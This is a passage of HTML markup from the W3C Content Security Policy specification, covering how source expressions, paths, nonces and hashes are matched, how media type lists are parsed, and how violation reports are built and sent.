the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is <em>not</em> an U+002A ASTERISK\n              character (<code>*</code>) and <var>url-host</var> is not a\n              case insensitive match for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code>, then return <em>does not\n              match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression’s <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> matches\n              the <code><a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\">IPv4address</a></code> production from <a data-link-type=\"biblio\" href=\"#biblio-rfc3986\">[RFC3986]</a>,\n              and is not <code>127.0.0.1</code>, or is an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-ipv6\">IPv6 address</a>,\n              return <em>does not match</em>.\n\n\n          <p class=\"note\" role=\"note\">Note: A future version of this specification may allow literal\n              IPv6 and IPv4 addresses, depending on usage and demand. Given the\n              weak security properties of IP addresses in relation to named\n              hosts, however, authors are encouraged to prefer the latter\n              whenever possible.</p>\n          \n            \n         \n\n            \n         <li>\n              If the source expression does <strong>not</strong> contain\n              a <code>port-part</code> and <var>url-port</var> is not the\n              <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#default-port\">default port</a> for <var>url-scheme</var>, then return\n              <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression does contain a <code>port-part</code>,\n              then return <em>does not match</em> if both of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  contain an U+002A ASTERISK character (<code>*</code>)\n                \n           \n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  represent the same number as <var>url-port</var>\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              If the source expression contains a non-empty\n              <code><a data-link-type=\"dfn\" href=\"#path_part\">path-part</a></code>, and the URL is <em>not</em> the\n              result of a redirect, then:\n\n              \n          <ol>\n                \n           <li>\n                  Let <var>exact-match</var> be <code>true</code> if the final\n                  character of <var>path-part</var> is not the U+002F SOLIDUS\n                  character (<code>/</code>), and <code>false</code> otherwise.\n                \n           \n\n                \n           <li>\n                  Let <var>source-expression-path-list</var> be the result of\n                  splitting <var>path-part</var> on the U+002F SOLIDUS character\n                  (<code>/</code>).\n                \n           \n\n                \n           <li>\n                  If <var>source-expression-path-list</var>’s length is greater\n                  than <var>url-path-list</var>’s length, return <em>does not\n                  match</em>.\n                \n           \n\n                \n           <li>\n                  For each <var>entry</var> in\n                  <var>source-expression-path-list</var>:\n\n                  \n            <ol>\n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#percent-decode\">Percent decode</a> <var>entry</var>.\n                    \n             \n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#percent-decode\">Percent decode</a> the first item in\n                      <var>url-path-list</var>.\n                    \n             \n                    \n             <li>\n                      If <var>entry</var> is not an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                      match</a> for the first item in <var>url-path-list</var>,\n                      return <em>does not match</em>.\n                    \n             \n                    \n             <li>\n                      Pop the first item in <var>url-path-list</var> off the\n                      list.\n                    \n             \n                  \n            </ol>\n            \n                \n           \n\n                \n           <li>\n                  If <var>exact-match</var> is <code>true</code>, and\n                  <var>url-path-list</var> is not empty, return <em>does not\n                  match</em>.\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              Otherwise, return <em>does match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          If the source expression is a case insensitive match for\n          <code>'self'</code> (including the quotation marks), then:\n\n          \n        <ol>\n            \n         <li>\n              Return <em>does match</em> if <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-origin\">the\n              origin of <var>url</var></a> matches\n              <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-origin\">the origin of <var>protected\n              resource</var>’s URL</a>.\n\n\n          <p class=\"note\" role=\"note\">Note: This includes IP addresses. That is, a document at\n              <code>https://111.111.111.111/</code> with a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> of\n              <code>img-src 'self'</code> can load the image\n              <code>https://111.111.111.111/image.png</code>, as the origins\n              match.</p>\n          \n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          Otherwise, return <em>does not match</em>.\n        \n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: This algorithm treats the URLs <code>https://example.com/</code>\n      and <code>https://example.com./</code> as <em>non-matching</em>. This\n      is consistent with browser behavior which treats documents served from\n      these URLs as existing in distinct origins.</p>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-list\">match a source list<a class=\"self-link\" href=\"#match-a-source-list\"></a></dfn> for\n      <var>protected resource</var> if at least one source expression in the set\n      of source expressions obtained by <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the\n      source list</a> <a data-link-type=\"dfn\" href=\"#match-a-source-expression\">matches <var>url</var>\n      for <var>protected resource</var></a>.</p>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: No URLs match an empty set of source expressions, such as the set\n      obtained by parsing the source list <code>'none'</code>.</p>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.1\" id=\"source-list-guid-matching\"><span class=\"secno\">4.2.2.1. </span><span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span><a class=\"self-link\" href=\"#source-list-guid-matching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>As defined above, special URL schemes that refer to specific pieces of\n        unique content, such as \"data:\", \"blob:\" and \"filesystem:\" are\n        excluded from matching a policy of <code>*</code> and must be\n        explicitly listed. Policy authors should note that the content of\n        such URLs is often derived from a response body or execution in a\n        Document context, which may be unsafe. Especially for the\n        <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n        directives, policy authors should be aware that allowing \"data:\" URLs\n        is equivalent to <code>unsafe-inline</code> and allowing \"blob:\" or\n        \"filesystem:\" URLs is equivalent to <code>unsafe-eval</code>.</p>\n       \n      \n      </section>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.2\" id=\"source-list-path-patching\"><span class=\"secno\">4.2.2.2. </span><span class=\"content\">Path Matching</span><a class=\"self-link\" href=\"#source-list-path-patching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>The rules for matching source expressions that contain paths\n        are simpler than they look: paths that end with the <code>'/'</code>\n        character match all files in a directory and its subdirectories. Paths\n        that do not end with the <code>'/'</code> character match only one\n        specific file. A few examples should make this clear:</p>\n       \n\n        \n       <ol>\n          \n        <li>The source expression <code>example.com</code> has no path,\n          and therefore matches any file served from that host.\n        \n\n          \n        <li>The source expression <code>example.com/scripts/</code>\n          matches any file in the <code>scripts</code> directory of\n          <code>example.com</code>, and any of its subdirectories. For\n          example, both <code>https://example.com/scripts/file.js</code>\n          and <code>https://example.com/scripts/js/file.js</code> would\n          match.\n        \n\n          \n        <li>The source expression\n          <code>example.com/scripts/file.js</code> matches only the file\n          named <code>file.js</code> in the <code>scripts</code> directory\n          of <code>example.com</code>.\n        \n\n          \n        <li>Likewise, the source expression <code>example.com/js</code>\n          matches only the file named <code>js</code>. In particular, note\n          that it would not match files inside a directory named\n          <code>js</code>. Files like <code>example.com/js/file.js</code>\n          would be matched only if the source expression ended with a\n          trailing \"/\", as in <code>example.com/js/</code>.\n        \n        \n       </ol>\n       \n\n\n       <p class=\"note\" role=\"note\">Note: Query strings have no impact on matching: the source\n        expression <code>example.com/file</code> matches all of\n        <code>https://example.com/file</code>,\n        <code>https://example.com/file?key=value</code>,\n        <code>https://example.com/file?key=notvalue</code>, and\n        <code>https://example.com/file?notkey=notvalue</code>.</p>\n       \n      \n      </section>\n      \n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.3\" id=\"source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3. </span><span class=\"content\">Paths and Redirects</span><a class=\"self-link\" href=\"#source-list-paths-and-redirects\"></a></h5>\n       \n\n\n       <p>To avoid leaking path information cross-origin (as discussed\n        in Egor Homakov’s\n        <a href=\"http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html\">Using Content-Security-Policy for Evil</a>),\n        the matching algorithm ignores the path component of a source\n        expression if the resource being loaded is the result of a\n        redirect. For example, given a page with an active policy of\n        <code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a> example.com not-example.com/path</code>:</p>\n       \n\n        \n       <ul>\n          \n        <li>Directly loading <code>https://not-example.com/not-path</code>\n          would fail, as it doesn’t match the policy.\n        \n          \n        <li>Directly loading <code>https://example.com/redirector</code>\n          would pass, as it matches <code>example.com</code>.\n        \n          \n        <li>Assuming that <code>https://example.com/redirector</code>\n          delivered a redirect response pointing to <code>https://not-example.com/not-path</code>,\n          the load would succeed, as the initial URL matches <code>example.com</code>,\n          and the redirect target matches <code>not-example.com/path</code>\n          if we ignore its path component.\n        \n        \n       </ul>\n       \n\n\n       <p>This restriction reduces the granularity of a document’s\n        policy when redirects are in play, which isn’t wonderful, but\n        given that we certainly don’t want to allow brute-forcing paths\n        after redirects, it seems a reasonable compromise.</p>\n       \n\n\n       <p>The relatively long thread\n        <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html\">\"Remove paths from CSP?\"</a>\n        from public-webappsec@w3.org has more detailed discussion around\n        alternate proposals.</p>\n       \n      \n      </section>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.3\" id=\"script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3. </span><span class=\"content\">\n        The <code>nonce</code> attribute\n      </span><a class=\"self-link\" href=\"#script-src-the-nonce-attribute\"></a></h4>\n      \n\n\n      <p>Nonce sources require a new <code>nonce</code> attribute to be added to\n      both <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> and <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements.</p>\n      \n\n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"https://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLScriptElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlscriptelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlscriptelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"script\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-script-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-script-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"https://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLStyleElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlstyleelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlstyleelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"style\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-style-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-style-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n\n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.4\" id=\"source-list-valid-nonces\"><span class=\"secno\">4.2.4. </span><span class=\"content\">Valid Nonces</span><a class=\"self-link\" href=\"#source-list-valid-nonces\"></a></h4>\n      \n\n\n      <p>An element has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-nonce\">valid nonce<a class=\"self-link\" href=\"#valid-nonce\"></a></dfn> for a <var>set of source\n      expressions</var> if the value of the element’s <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute\n      after <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">stripping leading\n      and trailing whitespace</a> is a case-sensitive match for the\n      <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> component of at least one\n      <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression in <var>set of source\n      expressions</var>.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.5\" id=\"source-list-valid-hashes\"><span class=\"secno\">4.2.5. </span><span class=\"content\">Valid Hashes</span><a class=\"self-link\" href=\"#source-list-valid-hashes\"></a></h4>\n      \n\n\n      <p>An <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"elements-content\">element’s content<a class=\"self-link\" href=\"#elements-content\"></a></dfn> is <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-block's-source\">the script block’s\n      source</a> for <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements, or the value of the element’s\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/dom/#dom-node-textcontent\">textContent</a></code> IDL attribute for non-<code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements such as\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code>.</p>\n      \n\n\n      <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digest-of-elements-content\">digest of <var>element</var>’s content<a class=\"self-link\" href=\"#digest-of-elements-content\"></a></dfn> for is the result\n      of applying an <var>algorithm</var> to the <a data-link-type=\"dfn\" href=\"#elements-content\">element’s content</a>.</p>\n      \n\n\n      <p>To determine whether <var>element</var> has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-hash\">valid hash<a class=\"self-link\" href=\"#valid-hash\"></a></dfn> for\n      a <var>set of source expressions</var>, execute the following steps:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let <var>hashes</var> be a list of all\n        <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> expressions in <var>set of source\n        expressions</var>.\n       \n\n        \n       <li>For each <var>hash</var> in <var>hashes</var>:\n          \n        <ol>\n            \n         <li>Let <var>algorithm</var> be:\n              \n          <ul>\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_256\">SHA-256</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha256\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_384\">SHA-384</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha384\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_512\">SHA-512</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha512\"\n           \n              \n          </ul>\n          \n            \n         \n\n            \n         <li>Let <var>expected</var> be the <code><a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a></code>\n            component of <var>hash</var>.\n         \n\n            \n         <li>Let <var>actual</var> be the\n            <a href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64\n            encoding</a> of the binary <a data-link-type=\"dfn\" href=\"#digest-of-elements-content\">digest of <var>element</var>’s\n            content</a> using the <var>algorithm</var> algorithm.\n         \n\n            \n         <li>If <var>actual</var> is a case-sensitive match for\n            <var>expected</var>, return <strong>true</strong> and abort these\n            steps.\n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>Return <strong>false</strong>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: If an element has an invalid hash, it would be helpful\n      if the user agent reported the failure to the author by adding\n      a warning message containing the <var>actual</var> hash value.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.3\" id=\"media-type-list-syntax\"><span class=\"secno\">4.3. </span><span class=\"content\">Media Type List Syntax</span><a class=\"self-link\" href=\"#media-type-list-syntax\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a></code> directive uses a value consisting\n    of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type-list\">media type list<a class=\"self-link\" href=\"#media-type-list\"></a></dfn>.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type\">media type<a class=\"self-link\" href=\"#media-type\"></a></dfn> in the media type list represents a specific\n    type of resource that can be retrieved and used to instantiate a\n    <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in the protected resource.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type_list\">media-type-list<a class=\"self-link\" href=\"#media_type_list\"></a></dfn>   = <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type\">media-type<a class=\"self-link\" href=\"#media_type\"></a></dfn>        = &lt;type from RFC 2045> \"/\" &lt;subtype from RFC 2045>\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.1\" id=\"media-type-list-parsing\"><span class=\"secno\">4.3.1. </span><span class=\"content\">Parsing</span><a class=\"self-link\" href=\"#media-type-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-media-type-list\">parse a media type list<a class=\"self-link\" href=\"#parse-a-media-type-list\"></a></dfn> <var>media type list</var>, the\n      user agent MUST use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of media types</var> be the empty set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting\n        <var>media type list</var> on spaces</a>, if the token matches the\n        grammar for <code><a data-link-type=\"dfn\" href=\"#media_type\">media-type</a></code>, add the token to the\n        <var>set of media types</var>. Otherwise ignore the token.\n       \n\n        \n       <li>Return the <var>set of media types</var>.\n       \n      \n      </ol>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.2\" id=\"media-type-list-matching\"><span class=\"secno\">4.3.2. </span><span class=\"content\">Matching</span><a class=\"self-link\" href=\"#media-type-list-matching\"></a></h4>\n      \n\n\n      <p>A media type <dfn data-dfn-type=\"dfn\" data-lt=\"match a media type list\" data-noexport=\"\" id=\"match-a-media-type-list\">matches a media type\n      list<a class=\"self-link\" href=\"#match-a-media-type-list\"></a></dfn> if, and only if, the media type is an <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n      case-insensitive match</a> for at least one token in the set of media\n      types obtained by <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the media\n      type list</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.4\" id=\"violation-reports\"><span class=\"secno\">4.4. </span><span class=\"content\">Reporting</span><a class=\"self-link\" href=\"#violation-reports\"></a></h3>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"strip uri for reporting|stripped for reporting\" data-noexport=\"\" id=\"strip-uri-for-reporting\">strip\n    <var>uri</var> for reporting<a class=\"self-link\" href=\"#strip-uri-for-reporting\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n      identifier</a> (for example, <var>uri</var> has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then\n      abort these steps, and return the ASCII serialization of\n      <var>uri</var>’s scheme.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is not the same as the\n      <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of the protected resource, then abort these steps, and\n      return the\n      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#ascii-serialization-of-an-origin\">ASCII\n      serialization of <var>uri</var>’s origin</a>.\n      \n\n      \n      <li>Return <var>uri</var>, with any <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#concept-url-fragment\">fragment</a>\n      component removed.\n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"generate a violation report object|generating a violation report object\" data-noexport=\"\" id=\"generate-a-violation-report-object\">generate a violation report object<a class=\"self-link\" href=\"#generate-a-violation-report-object\"></a></dfn>,\n    the user agent MUST use an algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a JSON object <var>violation</var> with the\n      following keys and values:\n\n        \n       <dl>\n          \n        <dt id=\"violation-report-blocked-uri\"><a class=\"self-link\" href=\"#violation-report-blocked-uri\"></a>blocked-uri\n        \n          \n        <dd>The originally requested URL of the resource that was\n          prevented from loading, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>,\n          or the empty string if the resource has no URL (inline script and\n          inline style, for example).\n        \n\n          \n        <dt id=\"violation-report-document-uri\"><a class=\"self-link\" href=\"#violation-report-document-uri\"></a>document-uri\n        \n          \n        <dd>The <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/dom.html#the-document's-address\">address</a>\n          of the protected resource, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-effective-directive\"><a class=\"self-link\" href=\"#violation-report-effective-directive\"></a>effective-directive\n        \n          \n        <dd>The name of the policy directive that was violated. This will\n          contain the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a> whose enforcement triggered the\n          violation (e.g. \"<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\") even if that\n          directive does not explicitly appear in the policy, but is\n          implicitly activated via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code>\n          directive.\n        \n\n          \n        <dt id=\"violation-report-original-policy\"><a class=\"self-link\" href=\"#violation-report-original-policy\"></a>original-policy\n        \n          \n        <dd>The original <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>, as received by the user agent.\n        \n\n          \n        <dt id=\"violation-report-referrer\"><a class=\"self-link\" href=\"#violation-report-referrer\"></a>referrer\n        \n          \n        <dd>The <a class=\"idl-code\" data-link-type=\"attribute\" href=\"https://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a> attribute of the protected\n          resource, or the empty string if the protected resource has no\n          referrer.\n        \n\n          \n        <dt id=\"violation-report-status-code\"><a class=\"self-link\" href=\"#violation-report-status-code\"></a>status-code\n        \n          \n        <dd>The <code>status-code</code> of the HTTP response that\n          contained the protected resource, if the protected resource was\n          obtained over HTTP. Otherwise, the number 0.\n        \n\n          \n        <dt id=\"violation-report-violated-directive\"><a class=\"self-link\" href=\"#violation-report-violated-directive\"></a>violated-directive\n        \n          \n        <dd>The policy directive that was violated, as it appears in the\n          policy. This will contain the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive\n          in the case of violations caused by falling back to the\n          <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when enforcing\n          a directive.\n        \n        \n       </dl>\n       \n      \n      \n\n      \n      <li>If a specific line or a specific file can be identified as the\n      cause of the violation (for example, script execution that violates\n      the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive), the user agent MAY add the\n      following keys and values to <var>violation</var>:\n\n        \n       <dl>\n          \n        <dt id=\"violation-report-source-file\"><a class=\"self-link\" href=\"#violation-report-source-file\"></a><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_file\">source-file<a class=\"self-link\" href=\"#source_file\"></a></dfn>\n        \n          \n        <dd>The URL of the resource where the violation occurred,\n          <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-line-number\"><a class=\"self-link\" href=\"#violation-report-line-number\"></a>line-number\n        \n          \n        <dd>The line number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n\n          \n        <dt id=\"violation-report-column-number\"><a class=\"self-link\" href=\"#violation-report-column-number\"></a>column-number\n        \n          \n        <dd>The column number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n        \n       </dl>\n       \n      \n      \n      \n      <li>Return <var>violation</var>.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>blocked-uri</code> will not contain the final location of a\n    resource that was blocked after one or more redirects. It instead will\n    contain only the location that the protected resource requested, before\n    any redirects were followed.</p>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"send-violation-reports\">send violation reports<a class=\"self-link\" href=\"#send-violation-reports\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a <a data-link-type=\"dfn\" href=\"#json-object\">JSON object</a> <var>report object</var> with a single\n      key, <code>csp-report</code>, whose value is the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating\n      a violation report object</a>.\n      \n\n      \n      <li>Let <var>report body</var> be the <a data-link-type=\"dfn\" href=\"#json-stringification\">JSON stringification</a> of\n      <var>report object</var>.\n      \n\n      \n      <li>For each <var>report URL</var> in the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a>:\n        \n       <ol>\n          \n        <li>If the user agent has already sent a violation report for\n          the protected resource to <var>report URL</var>, and that report\n          contained an entity body that exactly matches\n          <var>report body</var>, the user agent MAY abort these\n          steps and continue to the next <var>report URL</var>.\n        \n\n          \n        <li><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetch</a>\n          <var>report URL</var> from the origin of the protected resource,\n          with the synchronous flag <em>not</em> set, using HTTP method\n          <code>POST</code>, with a <code>Content-Type</code> header field\n          of <code>application/csp-report</code>, and an entity body\n          consisting of <var>report body</var>. If the origin of\n          <var>report URL</var> is <strong>not</strong> the same as the\n          origin of the protected resource, the block cookies flag MUST also\n          be set. The user agent MUST NOT follow redirects when fetching this\n          resource. (Note: The user agent ignores the fetched resource.)\n          The <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these\n          <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a> is the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"content-security-policy-task-source\">Content Security Policy task\n          source<a class=\"self-link\" href=\"#content-security-policy-task-source\"></a></dfn>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report-a-violation\">report a violation<a class=\"self-link\" href=\"#report-a-violation\"></a></dfn>, the user agent MUST:</p>\n     \n\n    \n     